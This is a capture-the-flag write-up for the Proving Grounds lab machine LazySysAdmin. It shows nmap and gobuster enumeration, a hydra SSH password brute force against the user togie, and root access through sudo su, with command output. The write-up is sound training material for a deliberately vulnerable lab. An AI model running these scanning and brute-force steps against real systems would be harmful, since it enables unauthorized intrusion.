Skip to content
HackIndex.io

LazySysAdmin Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

LazySysAdmin exposes a web server and Samba. Directory brute forcing surfaces a WordPress install that leaks the username togie, whose SSH password is weak enough to brute force. The account sits in the sudo group, so sudo su gives root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Backnode
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH, an Apache site, Samba, MySQL and IRC. Brute force the web root for content.

Web enumeration

Enumerate directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/dirb/wordlists/common.txt 
/apache        (Status: 301)
/info.php      (Status: 200)
/old           (Status: 301)
/phpmyadmin    (Status: 301)
/robots.txt    (Status: 200)
/test          (Status: 301)
/wordpress     (Status: 301)
/wp            (Status: 301)
Explain command
-w Wordlist to brute force with.

The /wordpress directory reveals the username togie.

Exploitation

SSH brute force

With a username in hand, brute force the SSH password with hydra and a common-password list.

┌──(kali㉿kali)-[~]
└─$ hydra -l togie -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt $TARGET_IP ssh 
[DATA] attacking ssh://$TARGET_IP:22/
[22][ssh] host: $TARGET_IP   login: togie   password: $TOGIE_PASSWORD
1 of 1 target successfully completed, 1 valid password found
Explain command
-l Single username to try.
-P Password list to spray.

The password is recovered. Log in over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh togie@$TARGET_IP 
togie@LazySysAdmin:~$ id
uid=1000(togie) gid=1000(togie) groups=1000(togie),27(sudo),111(sambashare)

togie belongs to the sudo group.

Privilege Escalation

Escalate with the account's own sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo su 
togie@LazySysAdmin:~$ sudo su
[sudo] password for togie:
root@LazySysAdmin:/home/togie# id
uid=0(root) gid=0(root) groups=0(root)

togie has full sudo access, so sudo su returns a root shell.

Related

Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...
Username Enumeration & Cross-Platform Correlation
Blog

Username Enumeration & Cross-Platform Correlation
SMB User and Domain Enumeration
Blog

SMB User and Domain Enumeration

Enumerate valid users and domain information from SMB shares using tools like enum4linux, rpcclient,...